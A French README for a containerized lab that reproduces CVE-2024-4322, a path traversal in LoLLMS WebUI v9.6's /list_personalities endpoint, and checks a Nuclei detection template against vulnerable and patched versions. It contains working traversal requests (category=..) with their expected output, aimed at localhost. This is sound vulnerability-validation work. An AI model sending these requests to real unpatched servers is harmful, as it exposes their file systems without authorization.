
POC_CVE-2024-4322
Ce dépôt fournit des laboratoires locaux conteneurisés pour reproduire CVE-2024-4322, une vulnérabilité de traversée de chemin dans LoLLMS WebUI v9.6, et pour valider que le modèle Nuclei associé ne correspond pas à LoLLMS WebUI v9.8.
Utilisez ce laboratoire uniquement contre des cibles locales, dont vous êtes propriétaire ou explicitement autorisées.
Le point d'accès /list_personalities dans LoLLMS WebUI v9.6 est vulnérable à une traversée de chemin. Le paramètre category contrôlé par l'utilisateur est ajouté à personalities_zoo_path sans assainissement :
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
En envoyant category=.., la requête peut sortir du répertoire prévu des personnalités et lister le contenu d'un répertoire parent.
Signal attendu de la vulnérabilité :
category= -> []
category=.. -> la réponse contient "personalities_zoo"
Le comportement corrigé dans v9.8 rejette l'entrée de traversée avant le listage du répertoire.
| Environnement | Version | Service | URL hôte | Résultat attendu du modèle |
|---|---|---|---|---|
| Linux vulnérable | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | correspond |
| Linux corrigé | v9.8 | linux-patched-server | http://127.0.0.1:9602 | aucune correspondance |
| Windows vulnérable | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | correspond |
| Windows corrigé | v9.8 | windows-patched-server | http://127.0.0.1:9603 | aucune correspondance |
Exécutez toutes les commandes à partir du répertoire contenant ce README.
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
Attendez que :
Uvicorn running on http://0.0.0.0:9600
Appuyez sur Ctrl-C pour arrêter le suivi des logs. Le conteneur continue de s'exécuter.
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
Résultat attendu :
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
L'ordre peut varier. Le signal important est que la réponse de traversée diffère de la réponse de contrôle et contient personalities_zoo.
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
Résultat attendu :
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
Attendez que :
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
Résultat attendu :
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
Résultat attendu :
[INF] Scan completed ... 0 matches found.

Ce laboratoire nécessite Docker Desktop en mode conteneurs Windows. Exécutez les commandes ci-dessous à partir de ce répertoire dans PowerShell.
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
Attendez que :
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
Résultat attendu :
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
L'ordre peut varier. Le signal important est que la réponse de traversée diffère de la réponse de contrôle et contient personalities_zoo.
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
Résultat attendu :
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Ce laboratoire nécessite Docker Desktop en mode conteneurs Windows. Exécutez les commandes ci-dessous à partir de ce répertoire dans PowerShell.
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
Attendez que :
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
Résultat attendu :
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
Résultat attendu :
[INF] Scan completed ... 0 matches found.

Conteneurs Linux :
docker compose --profile patched down --rmi local
Conteneurs Windows :
docker compose --profile windows down
curl.jq pour les exemples HTTP Linux vulnérables.Si jq n'est pas disponible sur l'hôte Linux, utilisez le conteneur analyste :
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
Si Nuclei n'est pas installé sur Windows, téléchargez le binaire de la version Windows depuis https://github.com/projectdiscovery/nuclei/releases, décompressez-le, et exécutez nuclei.exe directement depuis le répertoire extrait.
Les Dockerfiles patchent les installateurs historiques pendant la construction afin que le laboratoire soit reproductible aujourd'hui :
Les laboratoires vulnérables clonent le tag v9.6 de lollms-webui.
Les laboratoires corrigés clonent le tag v9.8 de lollms-webui.
L'URL du sous-module lollms_core est réécrite en https://github.com/ParisNeo/lollms_legacy.git car l'historique source a été déplacé.
Le versionnage est vérifié par rapport aux métadonnées Git amont : v9.6 est e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, et v9.8 est 8a8e3a1c386321f641a014bf8f7029512ccad411.
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
Les commits correspondants du sous-module lollms_core sont cfb18f6f1091addf440347322441ab28005a2d3b pour v9.6 et 6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49 pour v9.8, vérifiés avec git ls-tree HEAD lollms_core sur chaque extraction de tag.
Les options auto_update et auto_sync_* sont désactivées pour maintenir chaque laboratoire figé.
Des fichiers de configuration sans interaction sont injectés pour que le serveur puisse démarrer sans invites.
Les dépendances lourdes qui ne sont pas nécessaires pour la validation du point d'accès sont ignorées dans la mesure du possible.
Les installateurs Windows sont corrigés pour créer leur répertoire temporaire et éviter les sous-modules récursifs obsolètes.
L'invariant brisé est :
le chemin résolu doit rester à l'intérieur du répertoire des personnalités
LoLLMS WebUI v9.8 et versions ultérieures corrigent le problème en assainissant ou en contraignant le chemin category avant qu'il n'atteigne la logique de listage du répertoire du système de fichiers. Pour les déploiements réels, mettez à niveau LoLLMS WebUI vers la version 9.8 ou ultérieure.